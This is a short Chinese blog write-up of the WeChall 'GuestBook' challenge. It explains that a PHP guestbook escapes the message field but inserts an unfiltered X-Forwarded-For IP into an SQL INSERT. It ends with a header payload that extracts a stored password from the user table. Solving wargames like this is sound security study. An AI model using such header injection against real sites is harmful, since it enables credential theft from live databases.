Ricky Hao

WeChall 之 GuestBook

这题是个SQL注入
看到

$message = mysql_real_escape_string($message);

这句话,就知道message这个点是注入不了的。
那么只能从其他地方注入。
研究这句话:

$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')";

只对message有过滤处理,而对其他的变量并没有过滤。
同时看上文的

function gbook_getIP()
{
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif (isset($_SERVER['HTTP_VIA'])) { 
        return $_SERVER['HTTP_VIA'];
    }
    else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

函数,发现这里是通过XFF来得到的客户端IP,同时XFF没有被过滤。
那么我们就可以通过构造XFF字段来注入:

X-Forwarded-For:',(select gbu_password from gbook_user limit 1))#
点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据